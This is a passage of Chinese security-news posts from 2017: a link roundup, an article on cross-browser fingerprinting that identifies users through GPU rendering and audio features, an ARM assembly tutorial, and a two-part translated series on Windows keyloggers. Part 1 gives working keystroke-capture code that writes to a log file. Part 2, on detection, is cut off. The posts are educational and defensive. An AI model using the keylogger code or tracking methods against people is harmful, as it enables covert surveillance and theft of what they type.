热点概要:Struts2高危漏洞S2-048分析、新型物联网蠕虫 “鲸鲨蠕虫”深度分析报告、Poppler PDF库多个远程代码执行漏洞、一份关于在GPU上溢出漏洞的研究、Apache Shiro反序列化漏洞的利用(非数组的数据反序列化)、windows Kernel 利用(part4):介绍windows内核池利用、利用模板注入攻击关键基础设施 、MSRC之前的一些安全papers、使用LuaQEMU对BCM WiFi框架进行仿真和利用


资讯类:

iPhone和安卓易受Broadpwn安全漏洞影响

http://news.softpedia.com/news/iphone-android-exposed-to-broadpwn-security-flaw-google-patch-available-516873.shtml


技术类:

Struts2高危漏洞S2-048分析

http://bobao.360.cn/learning/detail/4078.html

http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/

http://blog.topsec.com.cn/ad_lab/strutss2-048%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/


安天365安全研究

https://pan.baidu.com/s/1hscLrb2


新型物联网蠕虫 “鲸鲨蠕虫”深度分析报告

http://paper.seebug.org/349/


S2-048 测试 POC

https://github.com/jas502n/st2-048


GoogleCTF 2017 - Counting

https://jbzteam.github.io/reversing/GoogleCTF2017-Counter


如何判断微信聊天记录被删除过?

https://mp.weixin.qq.com/s?__biz=MzI3Mjc0MjkwMQ==&mid=2247483675&idx=1&sn=669c2fe44425310e86b003c6ac41acb7


WebSec CTF Writeups

https://medium.com/websec-ctf/websec-ctf-writeups-for-all-challenges-7452714477d2


2.5代指纹追踪技术—跨浏览器指纹识别

https://mp.weixin.qq.com/s/gR7CcICIPV8S1Jop3i_8WQ


Poppler PDF库多个远程代码执行漏洞

https://www.talosintelligence.com/reports/TALOS-2017-0311

https://www.talosintelligence.com/reports/TALOS-2017-0319

https://www.talosintelligence.com/reports/TALOS-2017-0321


Android安全项目入门篇

https://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649846643&idx=1&sn=0286e8f1b3e6da0acbd129cb248eac2a


XRay:一个网络公开资源信息收集工具

https://github.com/evilsocket/xray


使用libFuzzer fuzz Chrome V8入门指南

http://www.geeknik.net/9t76jygu1


Android 7月份的三个漏洞PoC:CVE-2017-8260、CVE-2017-0705、CVE-2017-8259

https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/commit/0b4721f4c9061f2de2222bff50f6f719864b6a10


利用IODINE传输DNS数据

http://www.adeptus-mechanicus.com/codex/dnstun/dnstun.php


学习逆向的一些资源

http://jackson.thuraisamy.me/re-resources.html


一份关于在GPU上溢出漏洞的研究

https://www.aimlab.org/haochen/papers/npc16-overflow.pdf


bind XXE 漏洞案例

https://blog.zsec.uk/blind-xxe-learning/


Apache Shiro反序列化漏洞的利用(非数组的数据反序列化)

https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html


常见的网站API 安全方面需要注意的清单

https://github.com/shieldfy/API-Security-Checklist


Windows Kernel 利用(part4):介绍windows内核池利用

https://samdb.xyz/windows-kernel-exploitation-part-4/


Coinbase网站的ANGULARJS DOM XSS漏洞

http://www.paulosyibelo.com/2017/07/coinbase-angularjs-dom-xss-via-kiteworks.html


利用模板注入攻击关键基础设施

http://blog.talosintelligence.com/2017/07/template-injection.html


使用LuaQEMU对BCM WiFi框架进行仿真和利用

https://comsecuris.com/blog/posts/luaqemu_bcm_wifi/


Google Play两个XSS

https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/


MSRC之前的一些安全papers

https://github.com/Microsoft/MSRC-Security-Research


Easy File Sharing Web Server 7.2溢出漏洞

https://www.exploit-db.com/exploits/42304/




【知识】7月10日 - 每日安全知识热点
【知识】7月10日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4080.html

【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

$
0
0
【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

2017-07-10 12:13:05
阅读:325次
点赞(0)
收藏
来源: 默安科技






【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

前言

作者简介

程进,默安科技影武者实验室安全工程师。主要参与一些安全产品的安全能力推进,包括幻盾的蜜网、黑客溯源技术,SDL雳鉴的漏洞扫描、代码审计等。


01.研究背景

在如今,做安全防御已经不仅仅是被动的等着攻击者攻击,作为防御方,有越来越多的方法去反击攻击者,甚至给攻击者一些威胁。

设备指纹技术是一种长久有效的追踪技术,即使攻击者挂再多vpn,也能够准确识别攻击者身份。

本文借助理海大学发布的(Cross-)Browser Fingerprinting via OS and Hardware Level Features文章,写一些个人理解,与paper原文,一并服用,效果更佳。


02.设备指纹技术介绍

1.第一代

第一代指纹追踪是cookie这类的服务端在客户端设置标志的追踪技术,evercookie是cookie的加强版。

2 . 第二代

第二代指纹追踪是设备指纹技术,发现IP背后的设备。通过js获取操作系统、分辨率、像素比等等一系列信息,传到后台计算,然后归并设备。

唯一性可以保证,但准确率很难完全保证。主要原因就是在跨浏览器指纹识别上面。跨浏览器之后,第二代技术中很重要的canvas指纹、浏览器插件指纹都变了,所以很难把跨浏览器指纹归并到同一设备上。

因为设备指纹相同,很大概率上是同一台设备;但是,设备指纹不同时,不一定不是同一台设备。

3 . 第三代

第三代指纹追踪技术,则是发现设备后面的人。通过人的习惯、人的行为等等来对人进行归并,此项技术比较复杂。

总 结

第一代、第二代的指纹追踪技术是可以直接通过js收集信息的,第三代指纹追踪技术目前可看到的案例是2017年RSA创新沙盒的冠军unifyid技术。但是在RSA的答辩现场我们可以看到,unifyid在移动端安装软件、收集信息,不仅仅是通过js。至于利用于web上,还任重而道远。

那么,2.5代指纹识别技术即跨浏览器指纹识别技术。


03.跨浏览器指纹识别特征

这篇paper中的创新点很多,最主要的是深入研究了显卡的渲染方法,图片的哪些部分用到硬件渲染,哪些部分只用到软件渲染,或者跟浏览器有关,paper中都有深入研究

着重讲一些比较有意思的特征,文章中用到的所有特征如下:


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

其中很多特征都是在其他设备指纹的paper中出现过的,并且目前被广泛用于设备指纹项目。比如canvas指纹在单浏览器识别中是比较有区分度的特征。

对比一下已经开源的fp2的指纹列表


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

fp2中的都是一些常规的追踪项目,并且如果用过就知道,其中很多项目是没有什么区分度的,比如

Hassessionstorageornot Haslocalstorageornot HasindexedDB HasIEspecific'AddBehavior' HasopenDB IsAdBlockinstalledornot Hastheusertamperedwithitslanguages1 Hastheusertamperedwithitsscreenresolution1 HastheusertamperedwithitsOS1 Hastheusertamperedwithitsbrowser

这些项只能进行一些大致的区分,并没有什么实际的参考价值。

但是这篇paper中去掉了这些区分度低的特征,用到了另一类特征,显卡渲染图片,就是特征表中的task(a)-task(r),可以看到这些task的跨浏览器稳定性都非常高,也就是说受浏览器的影响不是很大。这里,我们抽一些任务介绍一下。

1.首先,paper中对图片渲染进行了简单的介绍:


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别
在此之前,首先介绍下面的基本画布设置。画布的大小为256×256。画布的轴定义如下:[0,0,0]是画布的中心,其中x轴是向右延伸的水平线,y轴是向下延伸的垂直线,z轴朝远离屏幕方向延伸。存在功率为[R:0.3,G:0.3,B:0.3]的环境光,相机位于[0,0,-7]的位置。这两个组件必需,否则模型完全是黑色的。在本文的其余部分,除非指定,例如具有2D特征的任务(d)和其他带有附加灯的任务,所有任务均使用相同的基本设置。

2.这里列举几个典型的task

2.1 task(a):纹理


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

图(a)中的任务是测试片段着色器中的常规纹理特征。

具体来说,Suzanne模型在随机生成纹理的画布上呈现。纹理大小为256×256的正方形,通过随机选择每个像素的颜色来创建。也就是说,我们在一个像素的三个基色(红色,绿色和蓝色)之间产生0~255的三个随机值,将三个基色混合在一起,并将其用作像素的颜色。

之所以选择这个随机生成的纹理,是因为这个纹理比常规纹理具有更多的指纹特征。原因如下,当片段着色器将纹理映射到模型时,片段着色器需要在纹理中插入点,以便将纹理映射到模型上的每个点。插入值算法在不同的显卡中是不同的,当纹理变化很大时,差异就被放大。因此,我们需要生成在每对相邻像素之间颜色变化很大的这种纹理。

2.2 task(d):线和曲线


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别
图(d)中的任务是测试线和曲线。 在画布上绘制一条曲线和三条不同角度的直线。具体来说,曲线遵循以下功能:y = 256-100cos(2.0πx/ 100.0)+ 30cos(4.0πx/ 100.0)+ 6cos(6.0πx/ 100.0),其中[0,0]为画布的左上角,x轴向右增加,y轴增加到底部。 三行的起点和终点是{[38.4,115.2],[89.6,204.8]},{[89.6,89.6],[153.6,204.8]}和{[166.4,89.6],[217.6,204.8]}。 选择这些特定的线条和曲线,以便测试不同的渐变和形状。

2.3 task(f):光


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别
图(f)中的任务是测试漫射点光和Suzanne模型的相互作用。 漫射点光在照亮物体时会引起漫反射。 具体地说,该光是在RGB上具有相同值的白色,对于每种原色,光的功率为2,光源位于[3.0,-4.0,-2.0]。

在这个任务中选择一个白光源,因为纹理是各种颜色的,单色光可能会减少纹理上的一些微妙差异。 光线的强度需要精心设计。非常弱的光线不会照亮Suzanne模型,模型就会不可见;非常强的光会使一切变白,减少指纹特征。 在6台机器的小规模实验中,功率从0增加到255,我们发现当光功率为2时,这些机器之间的像素差异最大。光照位置可随机选择,不会影响特征指纹识别结果。

可以看到这些任务深入研究了图片渲染引擎的特征,js没办法直接获取到显卡的设置和驱动,但是通过这种方法,当不同的显卡渲染同一张图片时,因设置不同,渲染出来的图片hash也不同。用这种图片hash作为特征,其实是从侧面得到机器显卡的特征,同一台机器在不同的浏览器上用到同一个显卡,所以可以看到这些task的跨浏览器稳定性都很高,总共10余种 task。

3. Paper中除了这些task,还有一些其他新颖的东西

3.1 CPU内核数量:

这个在之前的设备指纹方案中都是没有使用到的,现代浏览器可以用navigator .hardware Concurrency来获取。如果不支持这个方法,则可以利用另一种方式获取,具体来说是,当增加Web Worker的数量时,可以监视payload的完成时间。当计算量达到一定的程度,Web Woker完成payload的时间显著增加,达到硬件并发的限制,从而判断核心的数量。一些浏览器(如Safari)会将Web Workers的可用内核数量减少一半,所以在获取跨浏览器指纹时,我们需要将获取到的核心数量加倍。

此处内容,有兴趣的同学可以看看这篇文章https://eligrey.com/blog/cpu-core-estimation-with-javascript/

3.2 writing script(language):

这个其实可以理解为语言,但不是当前浏览器所使用的语言,而是系统支持的所有语言,比如中文简体、中文繁体、英语,js中并没有接口直接获取这种语言,但是这里作者想到了另一种方法,就是在页面中用所有的语言写两个字,如果系统支持该语言,那么就能正常写出来;如果不支持,显示出来的就是方框。通过这种方法获取系统支持的语言。


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

3.3 AudioContext:

可能熟悉设备指纹的同学都知道,AudioContext在很多设备指纹项目上都用到了。具体来说,现有的指纹识别工作使用OscillatorNode产生一个三角波,然后将波传Dynamics Compressor Node,一个调节声音的信号处理模块,产生压缩效果。 然后,经处理的音频信号通过Analyser Node转换为频率域。该paper指出,频域在不同的浏览器中是不同的,这个特征受浏览器的影响,不能完全反应出声卡的特征。也就是说,现有的方案只能识别单浏览器。但是他们发现,频率和峰值的比,在浏览器之间是相对稳定的。因此,在频率和值的坐标系上创建一个间距很小的列表,并将峰值频率和峰值映射到相应的格子。 如果一个格子包含一个频率或值,我们将格子标记为1,否则为0,这样的格子列表用作跨浏览器特征。

除了波形处理外,还能从音频设备上获取以下信息:采样率、最大通道数、输入数、输出数、通道数、通道数模式和通道解释。这是现有的设备指纹工作没有用到的又一个跨浏览特征.。

3.4 在demo站中,从我电脑上收集到的信息如下


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

我跨浏览器测试的结果,的确能够跨浏览器识别,看到这里,由衷的佩服该项目。


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

04.查看代码

在我看来,十多个task,AudioContext,CPU core number,writing script,跨浏览器稳定性都如此之高,做一些机器学习的分析工作,算一算相似性,真的非常容易达到跨浏览器识别的目的。

但我们来看看后端分析代码,如下:


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

这是代码中获取到的从前端传来的特征,然后就该通过这些特征计算跨浏览器指纹了。

但是,他只是简单的把这些项目加到一起hash了一下,就作为跨浏览器指纹


【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别

虽然demo站说明了跨浏览器指纹还在开发中,并没有什么复杂的计算,跟paper中提到的分析方式完全不同,跟我预期的什么机器学习的方式也不同。

但是,跨浏览器的特征倒是选用了一些稳定性极高的特征,所以直接hash也能进行跨浏览器识别。

Paper中的思路真的很好,所以沿着这个思路,我们还有很多工作要做。


05.最后说一句

该paper中一直提到的IP不可信的问题,既然是黑客溯源,对面是黑客,提出这个观点也无可厚非,毕竟大家都会挂VPN或者用肉鸡。但是IP作为一个重要信息,在设备指纹项目中,还是有用武之地的。

我个人的观点:IP虽然不可信,但是短时间的IP是可信的。

各位可以自己去试试 IP+设备指纹的区分度还是很好的,而且很大程度上能解决一部分跨浏览器识别的问题。

本文仅是自己的一些心得分享,欢迎大家在评论区留言,也可关注我的个人微博@chengable。浅知拙见,抛砖引玉,期待与大家的交流。



【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别
【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别
本文转载自 默安科技
原文链接:http://mp.weixin.qq.com/s/gR7CcICIPV8S1Jop3i_8WQ

【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式

$
0
0
【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式

2017-07-10 11:46:08

阅读:494次
点赞(0)
收藏
来源: azeria-labs.com





【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式

作者:arnow117





【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式

译者:arnow117

预估稿费:190RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型


ARM处理器有两个主要的操作状态,ARM模式以及Thumb模式(Jazelle模式先不考虑)。这些模式与特权模式并不冲突。SVC模式既可以在ARM下调用也可以在Thumb下调用。只不过两种状态的主要不同是指令集的不同,ARM模式的指令集宽度是32位而Thumb是16位宽度(但也可以是32位)。知道何时以及如何使用Thumb模式对于ARM漏洞利用的开发尤其重要。当我们写ARM的shellcode时候,我们需要尽可能的少用NULL以及使用16位宽度的Thumb指令以精简代码。

不同版本ARM,其调用约定不完全相同,而且支持的Thumb指令集也是不完全相同。在某些版本山,ARM提出了扩展型Thumb指令集(也叫Thumbv2),允许执行32位宽的Thumb指令以及之前版本不支持的条件执行。为了在Thumb模式下使用条件执行指令,Thumb提出了"IT"分支指令。然而,这条指令在之后的版本又被更改移除了,说是为了让一些事情变得更加简单方便。我并不清楚各个版本的ARM架构所支持的具体的ARM/Thumb指令集,而且我也的确不想知道。我觉得你也应该不用深究这个问题。因为你只需要知道你设备上的关键ARM版本所支持的Thumb指令集就可以了。以及ARM信息中心可以帮你弄清楚你的ARM版本到底是多少。

就像之前说到的,Thumb也有很多不同的版本。不过不同的名字仅仅是为了区分不同版本的Thumb指令集而已(也就是对于处理器来说,这些指令永远都是Thumb指令)。

Thumb-1(16位宽指令集):在ARMv6以及更早期的版本上使用。

Thumb-2(16位/32位宽指令集):在Thumb-1基础上扩展的更多的指令集(在ARMv6T2以及ARMv7即很多32位Android手机所支持的架构上使用)

Thumb-EE:包括一些改变以及对于动态生成代码的补充(即那些在设备上执行前或者运行时编译的代码)


ARM与Thumb的不同之处

对于条件执行指令(不是条件跳转指令):所有的ARM状态指令都支持条件执行。一些版本的ARM处理器上允许在Thumb模式下通过IT汇编指令进行条件执行。条件执行减少了要被执行的指令数量,以及用来做分支跳转的语句,所以具有更高的代码密度。

ARM模式与Thumb模式的32位指令:Thumb的32位汇编指令都有类似于a.w的扩展后缀。

桶型移位是另一种独特的ARM模式特性。它可以被用来减少指令数量。比如说,为了减少使用乘法所需的两条指令(乘法操作需要先乘2然后再把结果用MOV存储到另一个寄存器中),就可以使用在MOV中自带移位乘法操作的左移指令(Mov R1, R0, LSL #1)。

在ARM模式与Thumb模式间切换的话,以下两个条件之一必须满足:

我们可以在使用分支跳转指令BX(branch and exchange)或者分支链接跳转指令BLX(branch,link and exchange)时,将目的寄存器的最低位置为1。之后的代码执行就会在Thumb模式下进行。你也许会好奇这样做目标跳转地址不就有对齐问题了么,因为代码都是2字节或者4字节对齐的?但事实上这并不会造成问题,因为处理器会直接忽略最低比特位的标识。更多的细节我们会在第6篇中解释。

我们之前有说过,在CPSR当前程序状态寄存器中,T标志位用来代表当前程序是不是在Thumb模式下运行的。


ARM指令集规律含义

这一节的目的是简要的介绍ARM的通用指令集。知道每一句汇编指令是怎么操作使用,相互关联,最终组成程序是很重要的。之前说过,汇编语言是由构建机器码块的指令组成。所以ARM指令通常由助记符外加一到两个跟在后面的操作符组成,如下面的模板所示:

MNEMONIC{S}{condition}{Rd},Operand1,Operand2 助记符{是否使用CPSR}{是否条件执行以及条件}{目的寄存器},操作符1,操作符2 由于ARM指令的灵活性,不是全部的指令都满足这个模板,不过大部分都满足了。下面来说说模板中的含义:
MNEMONIC-指令的助记符如ADD {S}-可选的扩展位,如果指令后加了S,则需要依据计算结果更新CPSR寄存器中的条件跳转相关的FLAG {condition}-如果机器码要被条件执行,那它需要满足的条件标示 {Rd}-存储结果的目的寄存器 Operand1-第一个操作数,寄存器或者是一个立即数 Operand2-第二个(可变的)操作数,可以是一个立即数或者寄存器或者有偏移量的寄存器

当助记符,S,目的寄存器以及第一个操作数都被声明的时候,条件执行以及第二操作数需要一些声明。因为条件执行是依赖于CPSR寄存器的值的,更精确的说是寄存器中的一些比特位。第二操作数是一个可变操作数,因为我们可以以各种形式来使用它,立即数,寄存器,或者有偏移量的寄存器。举例来说,第二操作数还有如下操作:

#123-立即数 Rx-寄存器比如R1 Rx,ASRn-对寄存器中的值进行算术右移n位后的值 Rx,LSLn-对寄存器中的值进行逻辑左移n位后的值 Rx,LSRn-对寄存器中的值进行逻辑右移n位后的值 Rx,RORn-对寄存器中的值进行循环右移n位后的值 Rx,RRX-对寄存器中的值进行带扩展的循环右移1位后的值

在知道了这个机器码模板后,然我们试着去理解这些指令:

ADDR0,R1,R2-将第一操作数R1的内容与第二操作数R2的内容相加,将结果存储到R0中。 ADDR0,R1,#2-将第一操作数R1的内容与第二操作数一个立即数相加,将结果存到R0中 MOVLER0,#5-当满足条件LE(LessandEqual,小于等于0)将第二操作数立即数5移动到R0中,注意这条指令与MOVLER0,R0,#5相同 MOVR0,R1,LSL#1-将第二操作数R1寄存器中的值逻辑左移1位后存入R0

最后我们总结一下,满足这个模板的一些通用ARM指令集以及其含义:


【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式

传送门

【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型



【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式
【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://azeria-labs.com/arm-instruction-set-part-3/

【技术分享】Windows 键盘记录器 part1:应用层方法

$
0
0
【技术分享】windows 键盘记录器 part1:应用层方法

2017-07-10 14:05:52

阅读:425次
点赞(0)
收藏
来源: eyeofrablog.wordpress.com





【技术分享】Windows 键盘记录器 part1:应用层方法

作者:myswsun





【技术分享】Windows 键盘记录器 part1:应用层方法

译者:myswsun

预估稿费:80RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

正如我们所知,键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分,我将列出一些Windows应用层常见的键盘记录的方式(不是全部)。

下面是本文提到的一些方法:

1. Windows钩子(SetWindowsHookEx)

2. Windows轮询(GetAsyncKeyState、GetKeyBoardState)

3. raw input

4. direct input


0x01 SetWindowsHookEx

这是最常见的技术。使用SetWindowsHookEx向Windows的消息钩子链中注册一个预定义的函数。有非常多的消息类型,其中两种用于键盘记录:

g_hHook=SetWindowsHookEx(m_bLowLevelKeyboard==true?WH_KEYBOARD_LL:WH_KEYBOARD,m_bLowLevelKeyboard?LowLevelKeyboardProc:KeyboardProc,g_hModule,m_ThreadId);

在回调函数中,我们将接收KeyboardProc的wParam中的虚拟键码和LowLevelKeyboardProc的KBDLLHOOKSTRUCT.vkCode(wParam指向KBDLLHOOKSTRUCT)。

如果m_ThreadId = 0,则消息钩子是全局消息钩子。针对全局消息钩子,你必须将回调函数置于dll中,并且需要编写2个dll来分别处理x86/x64进程。

针对底层键盘钩子,SetWindowsHookEx的HMod参数可以为NULL或者本进程加载的模块(我测试了user32,ntdll)。

WH_KEYBOARD_LL不需要dll中的回调函数,并且能适应x86/x64进程。

WH_KEYBOARD需要两个版本的dll,分别处理x86/x64。但是如果使用x86版本的全局消息钩子,所有的x64线程仍被标记为“hooked”,并且系统在钩子应用上下文执行钩子。类似的,如果是x64,所有的32位的进程将使用x64钩子应用的回调函数。这就是为什么安装钩子的线程必须要有一个消息循环。


0x02 GetAsuncKeyState

使用GetAsyncKeyState查询每个键的状态是一种经典的方法。这需要一个死循环来轮询键盘状态,这将导致CPU异常。


【技术分享】Windows 键盘记录器 part1:应用层方法

0x03 GetKeyboardState

和GetAsyncKeyState类似,GetKeyBoardState能一次得到所有的键的状态。不同的是当键盘消息从调用进程的消息队列中移除时,GetKeyBoardState只会改变状态。这意味着它不是全局钩子,除非我们使用AttachThreadInput函数来共享键盘状态。


【技术分享】Windows 键盘记录器 part1:应用层方法

0x04 Raw Input

微软原始输入介绍:


【技术分享】Windows 键盘记录器 part1:应用层方法

因此,使用原始输入,我们必须通过RegisterRawInputDevices()函数注册一个输入设备。在那之后,在消息循环中能通过WM_INPUT得到数据。下面是注册设备并获取数据的代码:

switch(message) { caseWM_CREATE: { if(lParam) { CREATESTRUCT*lpCreateStruct=(CREATESTRUCT*)lParam; if(lpCreateStruct->lpCreateParams) ::SetWindowLong(hWnd,GWL_USERDATA,reinterpret_cast<long>(lpCreateStruct->lpCreateParams)); } RAWINPUTDEVICErid; //registerinterestinrawdata rid.dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;//ignorelegacymessagesandreceivesystemwidekeystrokes rid.usUsagePage=1;//rawkeyboarddataonly rid.usUsage=6; rid.hwndTarget=hWnd; RegisterRawInputDevices(&rid,1,sizeof(rid)); break; } caseWM_INPUT: { UINTdwSize; if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1){ break; } LPBYTElpb=newBYTE[dwSize]; if(lpb==NULL){ break; } if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize){ delete[]lpb; break; } PRAWINPUTraw=(PRAWINPUT)lpb; UINTEvent; WCHARszOutput[128]; CHARkeyChar; StringCchPrintf(szOutput,STRSAFE_MAX_CCH,TEXT("Kbd:make=%04xFlags:%04xReserved:%04xExtraInformation:%08x,msg=%04xVK=%04x\n"), raw->data.keyboard.MakeCode, raw->data.keyboard.Flags, raw->data.keyboard.Reserved, raw->data.keyboard.ExtraInformation, raw->data.keyboard.Message, raw->data.keyboard.VKey); Event=raw->data.keyboard.Message; keyChar=MapVirtualKeyA(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR); delete[]lpb;//freethisnow //readkeyonceonkeydowneventonly if(Event==WM_KEYDOWN) { if(keyChar>32) {//anythingbelowspacebarotherthanbackspace,taborenterweskip if((keyChar!=8)&&(keyChar!=9)&&(keyChar!=13)) break; } if(keyChar>126) //anythingabove~weskip break; //writetologfile CRawInputKeylog*lpCRawInputKeylog=reinterpret_cast<CRawInputKeylog*>(::GetWindowLong(hWnd,GWL_USERDATA)); if(lpCRawInputKeylog) { DWORDbyteWritten=0; WriteFile(lpCRawInputKeylog->m_hFile,&keyChar,sizeof(keyChar),&byteWritten,NULL); } } break; } }

0x05 Direct Input

最后一个方法是现实中比较少见的一种技术。直接输入是微软DrirectX库的一个函数,能被用来得到键盘的状态。

HRESULThr; hr=DirectInput8Create(g_hModule,DIRECTINPUT_VERSION,IID_IDirectInput8,(void**)&m_din,NULL); hr=m_din->CreateDevice(GUID_SysKeyboard,&m_dinkbd,NULL); hr=m_dinkbd->SetDataFormat(&c_dfDIKeyboard); hr=m_dinkbd->SetCooperativeLevel(m_hWnd,DISCL_NONEXCLUSIVE|DISCL_BACKGROUND);

DirectInput8Create创建一个DirectX对应版本的DirectInput对象。我们能创建一个输入设备的类型的设备,然后设置我们想要的数据格式。以DISCL_NONEXCLUSIVE | DISCL_BACKGROUND为参数调用SetCooperativeLevel()能确保全局模式。

使用下面代码得到键盘状态:

BYTEkeystate[256]={0}; lpCDirectInputKeylog->m_dinkbd->Acquire(); lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256,keystate); GetDeviceState()返回256个键盘扫描码的状态。我们使用MapVirtualKey将扫描码转化为虚拟键。 UINTvirKey=MapVirtualKeyA(i,MAPVK_VSC_TO_VK_EX);

0x06 总结

最终,我们总结下用户模式键盘记录技术:


【技术分享】Windows 键盘记录器 part1:应用层方法

0x07 参考

MSDN

https://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT

https://wikileaks.org/ciav7p1/cms/page_3375220.html

https://securelist.com/analysis/publications/36138/keyloggers-how-they-work-and-how-to-detect-them-part-1/

https://securelist.com/analysis/publications/36358/keyloggers-implementing-keyloggers-in-windows-part-two/





【技术分享】Windows 键盘记录器 part1:应用层方法
【技术分享】Windows 键盘记录器 part1:应用层方法
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-land/

【技术分享】Windows 键盘记录器 part2:检测

$
0
0
【技术分享】windows 键盘记录器 part2:检测

2017-07-10 15:22:44

阅读:835次
点赞(0)
收藏
来源: eyeofrablog.wordpress.com





【技术分享】Windows 键盘记录器 part2:检测

作者:myswsun





【技术分享】Windows 键盘记录器 part2:检测

译者:myswsun

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】Windows 键盘记录器 part1:应用层方法


0x00 前言

回顾第一部分,我们总结了4种Windows用户模式的键盘记录的方法,今天我们将分析每种技术的检测方式。

测试机器:


【技术分享】Windows 键盘记录器 part2:检测

0x01 SetWindowsHookEx

当我们使用SetWindowsHookEx注册消息钩子时,系统将我们的钩子处理函数保存在钩子链(是一个指针列表)中。因为我们能注册任何消息类型的钩子,因此,每种消息类型都有一个钩子链。因此我们的目标是:

系统内存中钩子链的位置(WH_KEYBOARD和WH_KEYBOARD_LL)

如何找到钩子的进程名

对于钩子链的位置,可以参考如下:

nt!_ETHREAD+0x0=>nt!_KTHREAD+0x088=>nt!_TEB+0x40=>win32k!tagTHREADINFO+0xCC=>win32k!tagDESKTOPINFO+0x10=>win32k!tagHOOK

每个结构都很清楚(感谢Windows符号)。Offset值是我的测试机器的,不同的Windows版本和构建版本会不同(ntoskrnl和win32k.sys)。

从nt!_ETHREAD看,它一定是一个GUI线程。我们能从explorer.exe中得到GUI线程,或者自己创建。

在上面,我们能得到系统所有的全局钩子链的位置。这个有16个tagHOOK的数组指针,数组索引是WH_*消息类型的值(实际上是index=WH_*+1)。如果条目是空,我们能找到一个全局钩子链。


【技术分享】Windows 键盘记录器 part2:检测

从tagHook中的_THRDESKHEAD看,我们能得到设置钩子的进程的tagTHREADINFO。因此我们能得到进程ID和进程名:

processIdOfHooker=PsGetProcessId(IoThreadToProcess((PETHREAD)(*pCurHook->head.pti)));

扫描结果:


【技术分享】Windows 键盘记录器 part2:检测

好了,查找Windows全局消息钩子可以了。那么本地钩子怎么办?

下面是本地钩子:

nt!_ETHREAD+0x0=>nt!_KTHREAD+0x088=>nt!_TEB+0x40=>win32k!tagTHREADINFO+0x198=>win32k!tagHOOK

和全局钩子很相似,但是你能看见本地钩子链的位置是在进程的tagTHREADINFO结构体中的,它是进程相关的。tagDESKTOPINFO中的钩子链是相同桌面下所有进程的。


0x02 轮询

我确实不知道怎么扫描这种方式。为什么?因为它直接从内部结构读取键的状态,似乎没有方式来检测。


【技术分享】Windows 键盘记录器 part2:检测

针对GetAsyncKeyState(), GetKeyboardState() API hook?可以,我们可以通过API来检测,但是我不想用它,因为针对系统所有进程全局APIhook不是个好方法。使用API HOOK,我们能检查频率和键盘记录键的范围。


0x03 Raw Input

我从分析user32.dll中的RegisterRawInputDevices函数开始。这个API将调用win32k.sys中的NtUserRegisterRawInputDevices。


【技术分享】Windows 键盘记录器 part2:检测

在一些检查之后,进入_RegisterRawInputDevices


【技术分享】Windows 键盘记录器 part2:检测

【技术分享】Windows 键盘记录器 part2:检测

这里非常清楚。PsGetCurrentProcessWin32Process返回win32k!tagPROCESSINFO结构体。使用WinDbg查看偏移0x1A4:


【技术分享】Windows 键盘记录器 part2:检测

有个指针指向win32k!tagPROCESS_HID_TABLE。

20-34行,验证注册的数据(HID请求)。

36-47行,如果不存在分配HID表。意味着,如果tagPROCESSINFO->pHidTable为空,进程中没有注册设备。

48-71行,设置HID请求到HID表中。

剩下的就是更新标志和重启HID设备。

让我们看下SetProcDeviceRequest函数:


【技术分享】Windows 键盘记录器 part2:检测

系统分配一个HID请求,将它插入到HID表中


【技术分享】Windows 键盘记录器 part2:检测

